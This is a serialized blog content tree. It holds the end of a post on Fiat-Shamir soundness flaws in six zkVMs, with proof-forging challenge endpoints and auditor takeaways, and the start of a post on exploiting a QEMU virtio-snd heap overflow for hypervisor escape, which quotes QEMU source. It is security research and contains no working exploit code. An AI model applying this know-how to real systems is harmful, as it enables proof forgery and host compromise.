,{"type":29,"value":10954},{"type":24,"tag":271,"props":130123,"children":130125},{"className":130124},[11747],[130126],{"type":24,"tag":271,"props":130127,"children":130129},{"className":130128},[11752],[130130],{"type":24,"tag":271,"props":130131,"children":130133},{"className":130132},[11757],[130134],{"type":24,"tag":271,"props":130135,"children":130137},{"className":130136,"style":11727},[11762],[130138],{"type":24,"tag":271,"props":130139,"children":130140},{"style":11766},[130141,130145],{"type":24,"tag":271,"props":130142,"children":130144},{"className":130143,"style":11772},[11771],[],{"type":24,"tag":271,"props":130146,"children":130148},{"className":130147},[11777,11778,11779,11780],[130149],{"type":24,"tag":271,"props":130150,"children":130152},{"className":130151},[11732,11780],[130153],{"type":29,"value":4525},{"type":24,"tag":271,"props":130155,"children":130157},{"className":130156,"style":11908},[11810],[],{"type":24,"tag":271,"props":130159,"children":130161},{"className":130160},[11913],[130162],{"type":29,"value":762},{"type":24,"tag":271,"props":130164,"children":130166},{"className":130165,"style":11908},[11810],[],{"type":24,"tag":271,"props":130168,"children":130170},{"className":130169},[11721],[130171,130176,130217,130222,130226,130231,130236,130240,130245,130250,130254,130259,130263,130269],{"type":24,"tag":271,"props":130172,"children":130175},{"className":130173,"style":130174},[11726],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":130177,"children":130179},{"className":130178},[11732],[130180,130185],{"type":24,"tag":271,"props":130181,"children":130183},{"className":130182},[11732,29273],[130184],{"type":29,"value":578},{"type":24,"tag":271,"props":130186,"children":130188},{"className":130187},[11747],[130189],{"type":24,"tag":271,"props":130190,"children":130192},{"className":130191},[11752],[130193],{"type":24,"tag":271,"props":130194,"children":130196},{"className":130195},[11757],[130197],{"type":24,"tag":271,"props":130198,"children":130200},{"className":130199,"style":11727},[11762],[130201],{"type":24,"tag":271,"props":130202,"children":130203},{"style":11766},[130204,130208],{"type":24,"tag":271,"props":130205,"children":130207},{"className":130206,"style":11772},[11771],[],{"type":24,"tag":271,"props":130209,"children":130211},{"className":130210},[11777,11778,11779,11780],[130212],{"type":24,"tag":271,"props":130213,"children":130215},{"className":130214},[11732,11780],[130216],{"type":29,"value":4525},{"type":24,"tag":271,"props":130218,"children":130220},{"className":130219},[11842],[130221],{"type":29,"value":11845},{"type":24,"tag":271,"props":130223,"children":130225},{"className":130224,"style":11849},[11810],[],{"type":24,"tag":271,"props":130227,"children":130229},{"className":130228},[11732,29273],[130230],{"type":29,"value":32},{"type":24,"tag":271,"props":130232,"children":130234},{"className":130233},[11842],[130235],{"type":29,"value":11845},{"type":24,"tag":271,"props":130237,"children":130239},{"className":130238,"style":11849},[11810],[],{"type":24,"tag":271,"props":130241,"children":130243},{"className":130242},[11732,29273],[130244],{"type":29,"value":10954},{"type":24,"tag":271,"props":130246,"children":130248},{"className":130247},[11842],[130249],{"type":29,"value":11845},{"type":24,"tag":271,"props":130251,"children":130253},{"className":130252,"style":11849},[11810],[],{"type":24,"tag":271,"props":130255,"children":130257},{"className":130256},[11732,29273],[130258],{"type":29,"value":578},{"type":24,"tag":271,"props":130260,"children":130262},{"className":130261,"style":11908},[11810],[],{"type":24,"tag":271,"props":130264,"children":130266},{"className":130265},[11913],[130267],{"type":29,"value":130268},"≥",{"type":24,"tag":271,"props":130270,"children":130272},{"className":130271,"style":11908},[11810],[],{"type":24,"tag":271,"props":130274,"children":130276},{"className":130275},[11721],[130277,130281],{"type":24,"tag":271,"props":130278,"children":130280},{"className":130279,"style":100868},[11726],[],{"type":24,"tag":271,"props":130282,"children":130284},{"className":130283},[11732],[130285],{"type":29,"value":156},{"type":29,"value":130287},". Good luck!",{"type":24,"tag":85,"props":130289,"children":130291},{"id":130290},"jolt",[130292],{"type":29,"value":114650},{"type":24,"tag":25,"props":130294,"children":130295},{},[130296,130298,130309,130311],{"type":29,"value":130297},"See ",{"type":24,"tag":32,"props":130299,"children":130306},{"href":130300,"target":130301,"rel":130302,"download":130305},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[130303,130304],"noopener","noreferrer","handout_jolt.tar.gz",[130307],{"type":29,"value":130308},"the handout",{"type":29,"value":130310}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":135,"props":130312,"children":130314},{"className":130313},[],[130315],{"type":29,"value":130316},"jolt.chal.osec.io:8960",{"type":24,"tag":85,"props":130318,"children":130320},{"id":130319},"nexus-1",[130321],{"type":29,"value":114656},{"type":24,"tag":25,"props":130323,"children":130324},{},[130325,130326,130333,130334],{"type":29,"value":130297},{"type":24,"tag":32,"props":130327,"children":130331},{"href":130328,"target":130301,"rel":130329,"download":130330},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[130303,130304],"handout_nexus.tar.gz",[130332],{"type":29,"value":130308},{"type":29,"value":130310},{"type":24,"tag":135,"props":130335,"children":130337},{"className":130336},[],[130338],{"type":29,"value":130339},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":130341,"children":130342},{},[130343],{"type":29,"value":130344},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":26485,"props":130346,"children":130347},{},[],{"type":24,"tag":62,"props":130349,"children":130351},{"id":130350},"takeaways",[130352],{"type":29,"value":130353},"Takeaways",{"type":24,"tag":25,"props":130355,"children":130356},{},[130357],{"type":29,"value":130358},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":130360,"children":130361},{},[130362],{"type":29,"value":130363},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":130365,"children":130366},{},[130367,130372],{"type":24,"tag":213,"props":130368,"children":130369},{},[130370],{"type":29,"value":130371},"For the ZK ecosystem:",{"type":29,"value":130373}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":130375,"children":130376},{},[130377],{"type":29,"value":130378},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":130380,"children":130381},{},[130382,130387],{"type":24,"tag":213,"props":130383,"children":130384},{},[130385],{"type":29,"value":130386},"For auditors:",{"type":29,"value":130388}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":130390,"children":130391},{},[130392,130397],{"type":24,"tag":213,"props":130393,"children":130394},{},[130395],{"type":29,"value":130396},"For builders:",{"type":29,"value":130398}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":10562,"props":130400,"children":130401},{},[130402],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":130404},[130405,130406,130409,130415,130416,130424,130430,130433,130434,130438],{"id":114701,"depth":284,"text":114704},{"id":114843,"depth":284,"text":114846,"children":130407},[130408],{"id":114849,"depth":294,"text":114852},{"id":115278,"depth":284,"text":115281,"children":130410},[130411,130412,130413,130414],{"id":115289,"depth":294,"text":115292},{"id":115477,"depth":294,"text":115480},{"id":118858,"depth":294,"text":118861},{"id":120072,"depth":294,"text":120075},{"id":121709,"depth":284,"text":121712},{"id":122215,"depth":284,"text":122218,"children":130417},[130418,130419,130420,130421,130422,130423],{"id":122237,"depth":294,"text":122240},{"id":123562,"depth":294,"text":114656},{"id":124698,"depth":294,"text":124701},{"id":125366,"depth":294,"text":125369},{"id":128022,"depth":294,"text":128025},{"id":128576,"depth":294,"text":114680},{"id":129505,"depth":284,"text":129508,"children":130425},[130426,130427,130428,130429],{"id":129516,"depth":294,"text":129519},{"id":129686,"depth":294,"text":129689},{"id":129710,"depth":294,"text":129713},{"id":129726,"depth":294,"text":129729},{"id":129740,"depth":284,"text":129743,"children":130431},[130432],{"id":129746,"depth":294,"text":129749},{"id":129780,"depth":284,"text":129783},{"id":129957,"depth":284,"text":114693,"children":130435},[130436,130437],{"id":130290,"depth":294,"text":114650},{"id":130319,"depth":294,"text":114656},{"id":130350,"depth":284,"text":130353},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":130443,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":130444,"description":130445,"date":130446,"author":130447,"image":130448,"isFeatured":16,"onBlogPage":16,"tags":130450,"body":130453,"_type":10599,"_id":138739,"_source":10601,"_file":138740,"_stem":138741,"_extension":10604},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":130449,"width":104058,"height":21324},"/posts/virtio-snd-qemu-0day/title.png",[130451,130452],"qemu","heap-overflow",{"type":21,"children":130454,"toc":138721},[130455,130460,130465,130470,130476,130481,130486,130494,130500,130512,130516,130521,130529,130534,130540,130545,130558,131168,131203,131248,131282,131317,131452,131500,131506,131511,132267,132312,132348,132383,132448,132468,132918,132965,132968,132973,133038,133064,133086,133090,133095,133100,133106,133111,133116,133121,133127,133140,133146,133151,133159,133229,133234,133240,133253,133479,133542,133561,133944,133949,133982,133987,134263,134275,134293,134572,134584,134587,134622,134627,134633,134645,134657,134662,134667,134677,134712,135329,135361,135372,135408,135421,135427,135439,135447,135473,135478,135511,135552,135558,135577,135615,135623,135672,135677,135726,135731,135739,135826,135832,135871,135883,135891,135909,135928,135936,135948,135956,135975,135983,135994,136002,136013,136021,136034,136042,136048,136053,136066,136074,136092,136100,136112,136117,136125,136161,136194,136201,136235,136243,136248,136254,136266,136277,136556,136616,136684,136692,136726,137330,137341,137349,137355,137360,137371,138125,138158,138170,138256,138276,138485,138532,138544,138550,138569,138595,138623,138639,138666,138669,138689,138703,138707,138712,138717],{"type":24,"tag":25,"props":130456,"children":130457},{},[130458],{"type":29,"value":130459},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":62,"props":130461,"children":130462},{"id":130451},[130463],{"type":29,"value":130464},"QEMU",{"type":24,"tag":25,"props":130466,"children":130467},{},[130468],{"type":29,"value":130469},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":85,"props":130471,"children":130473},{"id":130472},"virtio-devices",[130474],{"type":29,"value":130475},"Virtio Devices",{"type":24,"tag":25,"props":130477,"children":130478},{},[130479],{"type":29,"value":130480},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":130482,"children":130483},{},[130484],{"type":29,"value":130485},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":130487,"children":130488},{},[130489],{"type":24,"tag":74,"props":130490,"children":130493},{"alt":130491,"src":130492},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":62,"props":130495,"children":130497},{"id":130496},"finding-a-bug",[130498],{"type":29,"value":130499},"Finding a Bug",{"type":24,"tag":25,"props":130501,"children":130502},{},[130503,130505,130511],{"type":29,"value":130504},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":135,"props":130506,"children":130508},{"className":130507},[],[130509],{"type":29,"value":130510},"virtio-snd",{"type":29,"value":41},{"type":24,"tag":85,"props":130513,"children":130514},{"id":130510},[130515],{"type":29,"value":130510},{"type":24,"tag":25,"props":130517,"children":130518},{},[130519],{"type":29,"value":130520},"From the official documentation:",{"type":24,"tag":10670,"props":130522,"children":130523},{},[130524],{"type":24,"tag":25,"props":130525,"children":130526},{},[130527],{"type":29,"value":130528},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":25,"props":130530,"children":130531},{},[130532],{"type":29,"value":130533},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":26585,"props":130535,"children":130537},{"id":130536},"audio-data-buffers",[130538],{"type":29,"value":130539},"Audio Data Buffers",{"type":24,"tag":25,"props":130541,"children":130542},{},[130543],{"type":29,"value":130544},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":130546,"children":130547},{},[130548,130550,130556],{"type":29,"value":130549},"For example, the following is ",{"type":24,"tag":135,"props":130551,"children":130553},{"className":130552},[],[130554],{"type":29,"value":130555},"virtio_snd_handle_rx_xfer",{"type":29,"value":130557},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":261,"props":130559,"children":130561},{"code":130560,"language":578,"meta":7,"className":576,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[130562],{"type":24,"tag":135,"props":130563,"children":130564},{"__ignoreMap":7},[130565,130572,130580,130588,130595,130603,130611,130619,130667,130674,130691,130698,130705,130717,130734,130741,130777,130797,130808,130815,130822,130830,130837,130870,130929,130947,130986,131011,131035,131063,131090,131128,131135,131147,131154,131161],{"type":24,"tag":271,"props":130566,"children":130567},{"class":273,"line":274},[130568],{"type":24,"tag":271,"props":130569,"children":130570},{"style":2058},[130571],{"type":29,"value":57029},{"type":24,"tag":271,"props":130573,"children":130574},{"class":273,"line":284},[130575],{"type":24,"tag":271,"props":130576,"children":130577},{"style":2058},[130578],{"type":29,"value":130579}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":271,"props":130581,"children":130582},{"class":273,"line":294},[130583],{"type":24,"tag":271,"props":130584,"children":130585},{"style":2058},[130586],{"type":29,"value":130587}," * respective streams for consumption.\n",{"type":24,"tag":271,"props":130589,"children":130590},{"class":273,"line":303},[130591],{"type":24,"tag":271,"props":130592,"children":130593},{"style":2058},[130594],{"type":29,"value":27177},{"type":24,"tag":271,"props":130596,"children":130597},{"class":273,"line":312},[130598],{"type":24,"tag":271,"props":130599,"children":130600},{"style":2058},[130601],{"type":29,"value":130602}," * @vdev: VirtIOSound device\n",{"type":24,"tag":271,"props":130604,"children":130605},{"class":273,"line":321},[130606],{"type":24,"tag":271,"props":130607,"children":130608},{"style":2058},[130609],{"type":29,"value":130610}," * @vq: rx virtqueue\n",{"type":24,"tag":271,"props":130612,"children":130613},{"class":273,"line":330},[130614],{"type":24,"tag":271,"props":130615,"children":130616},{"style":2058},[130617],{"type":29,"value":130618}," */\n",{"type":24,"tag":271,"props":130620,"children":130621},{"class":273,"line":339},[130622,130626,130630,130635,130640,130644,130649,130654,130658,130663],{"type":24,"tag":271,"props":130623,"children":130624},{"style":278},[130625],{"type":29,"value":590},{"type":24,"tag":271,"props":130627,"children":130628},{"style":278},[130629],{"type":29,"value":595},{"type":24,"tag":271,"props":130631,"children":130632},{"style":598},[130633],{"type":29,"value":130634}," virtio_snd_handle_rx_xfer",{"type":24,"tag":271,"props":130636,"children":130637},{"style":288},[130638],{"type":29,"value":130639},"(VirtIODevice ",{"type":24,"tag":271,"props":130641,"children":130642},{"style":624},[130643],{"type":29,"value":627},{"type":24,"tag":271,"props":130645,"children":130646},{"style":630},[130647],{"type":29,"value":130648},"vdev",{"type":24,"tag":271,"props":130650,"children":130651},{"style":288},[130652],{"type":29,"value":130653},", VirtQueue ",{"type":24,"tag":271,"props":130655,"children":130656},{"style":624},[130657],{"type":29,"value":627},{"type":24,"tag":271,"props":130659,"children":130660},{"style":630},[130661],{"type":29,"value":130662},"vq",{"type":24,"tag":271,"props":130664,"children":130665},{"style":288},[130666],{"type":29,"value":694},{"type":24,"tag":271,"props":130668,"children":130669},{"class":273,"line":347},[130670],{"type":24,"tag":271,"props":130671,"children":130672},{"style":288},[130673],{"type":29,"value":702},{"type":24,"tag":271,"props":130675,"children":130676},{"class":273,"line":356},[130677,130682,130686],{"type":24,"tag":271,"props":130678,"children":130679},{"style":288},[130680],{"type":29,"value":130681}," VirtQueueElement ",{"type":24,"tag":271,"props":130683,"children":130684},{"style":624},[130685],{"type":29,"value":627},{"type":24,"tag":271,"props":130687,"children":130688},{"style":288},[130689],{"type":29,"value":130690},"elem;\n",{"type":24,"tag":271,"props":130692,"children":130693},{"class":273,"line":365},[130694],{"type":24,"tag":271,"props":130695,"children":130696},{"style":288},[130697],{"type":29,"value":111591},{"type":24,"tag":271,"props":130699,"children":130700},{"class":273,"line":374},[130701],{"type":24,"tag":271,"props":130702,"children":130703},{"emptyLinePlaceholder":16},[130704],{"type":29,"value":327},{"type":24,"tag":271,"props":130706,"children":130707},{"class":273,"line":384},[130708,130712],{"type":24,"tag":271,"props":130709,"children":130710},{"style":749},[130711],{"type":29,"value":4149},{"type":24,"tag":271,"props":130713,"children":130714},{"style":288},[130715],{"type":29,"value":130716}," (;;) {\n",{"type":24,"tag":271,"props":130718,"children":130719},{"class":273,"line":393},[130720,130725,130729],{"type":24,"tag":271,"props":130721,"children":130722},{"style":288},[130723],{"type":29,"value":130724}," VirtIOSoundPCMStream ",{"type":24,"tag":271,"props":130726,"children":130727},{"style":624},[130728],{"type":29,"value":627},{"type":24,"tag":271,"props":130730,"children":130731},{"style":288},[130732],{"type":29,"value":130733},"stream;\n",{"type":24,"tag":271,"props":130735,"children":130736},{"class":273,"line":402},[130737],{"type":24,"tag":271,"props":130738,"children":130739},{"emptyLinePlaceholder":16},[130740],{"type":29,"value":327},{"type":24,"tag":271,"props":130742,"children":130743},{"class":273,"line":411},[130744,130749,130753,130758,130763,130767,130772],{"type":24,"tag":271,"props":130745,"children":130746},{"style":288},[130747],{"type":29,"value":130748}," elem ",{"type":24,"tag":271,"props":130750,"children":130751},{"style":624},[130752],{"type":29,"value":762},{"type":24,"tag":271,"props":130754,"children":130755},{"style":598},[130756],{"type":29,"value":130757}," virtqueue_pop",{"type":24,"tag":271,"props":130759,"children":130760},{"style":288},[130761],{"type":29,"value":130762},"(vq, ",{"type":24,"tag":271,"props":130764,"children":130765},{"style":278},[130766],{"type":29,"value":4969},{"type":24,"tag":271,"props":130768,"children":130769},{"style":288},[130770],{"type":29,"value":130771},"(VirtQueueElement));",{"type":24,"tag":271,"props":130773,"children":130774},{"style":2058},[130775],{"type":29,"value":130776}," // [1]\n",{"type":24,"tag":271,"props":130778,"children":130779},{"class":273,"line":420},[130780,130784,130788,130792],{"type":24,"tag":271,"props":130781,"children":130782},{"style":749},[130783],{"type":29,"value":7512},{"type":24,"tag":271,"props":130785,"children":130786},{"style":288},[130787],{"type":29,"value":1357},{"type":24,"tag":271,"props":130789,"children":130790},{"style":624},[130791],{"type":29,"value":1818},{"type":24,"tag":271,"props":130793,"children":130794},{"style":288},[130795],{"type":29,"value":130796},"elem) {\n",{"type":24,"tag":271,"props":130798,"children":130799},{"class":273,"line":429},[130800,130804],{"type":24,"tag":271,"props":130801,"children":130802},{"style":749},[130803],{"type":29,"value":10147},{"type":24,"tag":271,"props":130805,"children":130806},{"style":288},[130807],{"type":29,"value":1069},{"type":24,"tag":271,"props":130809,"children":130810},{"class":273,"line":438},[130811],{"type":24,"tag":271,"props":130812,"children":130813},{"style":288},[130814],{"type":29,"value":7574},{"type":24,"tag":271,"props":130816,"children":130817},{"class":273,"line":447},[130818],{"type":24,"tag":271,"props":130819,"children":130820},{"emptyLinePlaceholder":16},[130821],{"type":29,"value":327},{"type":24,"tag":271,"props":130823,"children":130824},{"class":273,"line":455},[130825],{"type":24,"tag":271,"props":130826,"children":130827},{"style":288},[130828],{"type":29,"value":130829}," [...]\n",{"type":24,"tag":271,"props":130831,"children":130832},{"class":273,"line":464},[130833],{"type":24,"tag":271,"props":130834,"children":130835},{"emptyLinePlaceholder":16},[130836],{"type":29,"value":327},{"type":24,"tag":271,"props":130838,"children":130839},{"class":273,"line":473},[130840,130845,130849,130853,130857,130861,130866],{"type":24,"tag":271,"props":130841,"children":130842},{"style":598},[130843],{"type":29,"value":130844}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":271,"props":130846,"children":130847},{"style":288},[130848],{"type":29,"value":606},{"type":24,"tag":271,"props":130850,"children":130851},{"style":624},[130852],{"type":29,"value":1137},{"type":24,"tag":271,"props":130854,"children":130855},{"style":630},[130856],{"type":29,"value":43929},{"type":24,"tag":271,"props":130858,"children":130859},{"style":288},[130860],{"type":29,"value":786},{"type":24,"tag":271,"props":130862,"children":130863},{"style":630},[130864],{"type":29,"value":130865},"queue_mutex",{"type":24,"tag":271,"props":130867,"children":130868},{"style":288},[130869],{"type":29,"value":919},{"type":24,"tag":271,"props":130871,"children":130872},{"class":273,"line":483},[130873,130878,130882,130887,130891,130895,130899,130904,130908,130912,130916,130921,130925],{"type":24,"tag":271,"props":130874,"children":130875},{"style":288},[130876],{"type":29,"value":130877}," size ",{"type":24,"tag":271,"props":130879,"children":130880},{"style":624},[130881],{"type":29,"value":762},{"type":24,"tag":271,"props":130883,"children":130884},{"style":598},[130885],{"type":29,"value":130886}," iov_size",{"type":24,"tag":271,"props":130888,"children":130889},{"style":288},[130890],{"type":29,"value":606},{"type":24,"tag":271,"props":130892,"children":130893},{"style":630},[130894],{"type":29,"value":1646},{"type":24,"tag":271,"props":130896,"children":130897},{"style":288},[130898],{"type":29,"value":786},{"type":24,"tag":271,"props":130900,"children":130901},{"style":630},[130902],{"type":29,"value":130903},"in_sg",{"type":24,"tag":271,"props":130905,"children":130906},{"style":288},[130907],{"type":29,"value":158},{"type":24,"tag":271,"props":130909,"children":130910},{"style":630},[130911],{"type":29,"value":1646},{"type":24,"tag":271,"props":130913,"children":130914},{"style":288},[130915],{"type":29,"value":786},{"type":24,"tag":271,"props":130917,"children":130918},{"style":630},[130919],{"type":29,"value":130920},"in_num",{"type":24,"tag":271,"props":130922,"children":130923},{"style":288},[130924],{"type":29,"value":8823},{"type":24,"tag":271,"props":130926,"children":130927},{"style":624},[130928],{"type":29,"value":390},{"type":24,"tag":271,"props":130930,"children":130931},{"class":273,"line":491},[130932,130937,130942],{"type":24,"tag":271,"props":130933,"children":130934},{"style":278},[130935],{"type":29,"value":130936}," sizeof",{"type":24,"tag":271,"props":130938,"children":130939},{"style":288},[130940],{"type":29,"value":130941},"(virtio_snd_pcm_status);",{"type":24,"tag":271,"props":130943,"children":130944},{"style":2058},[130945],{"type":29,"value":130946}," // [2]\n",{"type":24,"tag":271,"props":130948,"children":130949},{"class":273,"line":499},[130950,130955,130959,130964,130968,130972,130977,130981],{"type":24,"tag":271,"props":130951,"children":130952},{"style":288},[130953],{"type":29,"value":130954}," buffer ",{"type":24,"tag":271,"props":130956,"children":130957},{"style":624},[130958],{"type":29,"value":762},{"type":24,"tag":271,"props":130960,"children":130961},{"style":598},[130962],{"type":29,"value":130963}," g_malloc0",{"type":24,"tag":271,"props":130965,"children":130966},{"style":288},[130967],{"type":29,"value":606},{"type":24,"tag":271,"props":130969,"children":130970},{"style":278},[130971],{"type":29,"value":4969},{"type":24,"tag":271,"props":130973,"children":130974},{"style":288},[130975],{"type":29,"value":130976},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":271,"props":130978,"children":130979},{"style":624},[130980],{"type":29,"value":1012},{"type":24,"tag":271,"props":130982,"children":130983},{"style":288},[130984],{"type":29,"value":130985}," size);\n",{"type":24,"tag":271,"props":130987,"children":130988},{"class":273,"line":3188},[130989,130994,130998,131002,131006],{"type":24,"tag":271,"props":130990,"children":130991},{"style":630},[130992],{"type":29,"value":130993}," buffer",{"type":24,"tag":271,"props":130995,"children":130996},{"style":288},[130997],{"type":29,"value":786},{"type":24,"tag":271,"props":130999,"children":131000},{"style":630},[131001],{"type":29,"value":1646},{"type":24,"tag":271,"props":131003,"children":131004},{"style":624},[131005],{"type":29,"value":1712},{"type":24,"tag":271,"props":131007,"children":131008},{"style":288},[131009],{"type":29,"value":131010}," elem;\n",{"type":24,"tag":271,"props":131012,"children":131013},{"class":273,"line":3247},[131014,131018,131022,131026,131030],{"type":24,"tag":271,"props":131015,"children":131016},{"style":630},[131017],{"type":29,"value":130993},{"type":24,"tag":271,"props":131019,"children":131020},{"style":288},[131021],{"type":29,"value":786},{"type":24,"tag":271,"props":131023,"children":131024},{"style":630},[131025],{"type":29,"value":130662},{"type":24,"tag":271,"props":131027,"children":131028},{"style":624},[131029],{"type":29,"value":1712},{"type":24,"tag":271,"props":131031,"children":131032},{"style":288},[131033],{"type":29,"value":131034}," vq;\n",{"type":24,"tag":271,"props":131036,"children":131037},{"class":273,"line":3255},[131038,131042,131046,131051,131055,131059],{"type":24,"tag":271,"props":131039,"children":131040},{"style":630},[131041],{"type":29,"value":130993},{"type":24,"tag":271,"props":131043,"children":131044},{"style":288},[131045],{"type":29,"value":786},{"type":24,"tag":271,"props":131047,"children":131048},{"style":630},[131049],{"type":29,"value":131050},"size",{"type":24,"tag":271,"props":131052,"children":131053},{"style":624},[131054],{"type":29,"value":1712},{"type":24,"tag":271,"props":131056,"children":131057},{"style":477},[131058],{"type":29,"value":767},{"type":24,"tag":271,"props":131060,"children":131061},{"style":288},[131062],{"type":29,"value":1069},{"type":24,"tag":271,"props":131064,"children":131065},{"class":273,"line":3263},[131066,131070,131074,131078,131082,131086],{"type":24,"tag":271,"props":131067,"children":131068},{"style":630},[131069],{"type":29,"value":130993},{"type":24,"tag":271,"props":131071,"children":131072},{"style":288},[131073],{"type":29,"value":786},{"type":24,"tag":271,"props":131075,"children":131076},{"style":630},[131077],{"type":29,"value":8307},{"type":24,"tag":271,"props":131079,"children":131080},{"style":624},[131081],{"type":29,"value":1712},{"type":24,"tag":271,"props":131083,"children":131084},{"style":477},[131085],{"type":29,"value":767},{"type":24,"tag":271,"props":131087,"children":131088},{"style":288},[131089],{"type":29,"value":1069},{"type":24,"tag":271,"props":131091,"children":131092},{"class":273,"line":3293},[131093,131098,131102,131106,131110,131114,131119,131124],{"type":24,"tag":271,"props":131094,"children":131095},{"style":598},[131096],{"type":29,"value":131097}," QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":271,"props":131099,"children":131100},{"style":288},[131101],{"type":29,"value":606},{"type":24,"tag":271,"props":131103,"children":131104},{"style":624},[131105],{"type":29,"value":1137},{"type":24,"tag":271,"props":131107,"children":131108},{"style":630},[131109],{"type":29,"value":43929},{"type":24,"tag":271,"props":131111,"children":131112},{"style":288},[131113],{"type":29,"value":786},{"type":24,"tag":271,"props":131115,"children":131116},{"style":630},[131117],{"type":29,"value":131118},"queue",{"type":24,"tag":271,"props":131120,"children":131121},{"style":288},[131122],{"type":29,"value":131123},", buffer, entry);",{"type":24,"tag":271,"props":131125,"children":131126},{"style":2058},[131127],{"type":29,"value":2220},{"type":24,"tag":271,"props":131129,"children":131130},{"class":273,"line":3301},[131131],{"type":24,"tag":271,"props":131132,"children":131133},{"style":288},[131134],{"type":29,"value":7574},{"type":24,"tag":271,"props":131136,"children":131137},{"class":273,"line":3683},[131138,131143],{"type":24,"tag":271,"props":131139,"children":131140},{"style":749},[131141],{"type":29,"value":131142}," continue",{"type":24,"tag":271,"props":131144,"children":131145},{"style":288},[131146],{"type":29,"value":1069},{"type":24,"tag":271,"props":131148,"children":131149},{"class":273,"line":4486},[131150],{"type":24,"tag":271,"props":131151,"children":131152},{"emptyLinePlaceholder":16},[131153],{"type":29,"value":327},{"type":24,"tag":271,"props":131155,"children":131156},{"class":273,"line":4509},[131157],{"type":24,"tag":271,"props":131158,"children":131159},{"style":288},[131160],{"type":29,"value":130829},{"type":24,"tag":271,"props":131162,"children":131163},{"class":273,"line":4545},[131164],{"type":24,"tag":271,"props":131165,"children":131166},{"style":288},[131167],{"type":29,"value":1171},{"type":24,"tag":25,"props":131169,"children":131170},{},[131171,131173,131179,131181,131187,131189,131194,131195,131201],{"type":29,"value":131172},"At ",{"type":24,"tag":135,"props":131174,"children":131176},{"className":131175},[],[131177],{"type":29,"value":131178},"[1]",{"type":29,"value":131180},", a ",{"type":24,"tag":135,"props":131182,"children":131184},{"className":131183},[],[131185],{"type":29,"value":131186},"VirtQueueElement *elem",{"type":29,"value":131188}," is popped from the virtqueue. It contains the ",{"type":24,"tag":135,"props":131190,"children":131192},{"className":131191},[],[131193],{"type":29,"value":130903},{"type":29,"value":518},{"type":24,"tag":135,"props":131196,"children":131198},{"className":131197},[],[131199],{"type":29,"value":131200},"out_sg",{"type":29,"value":131202}," 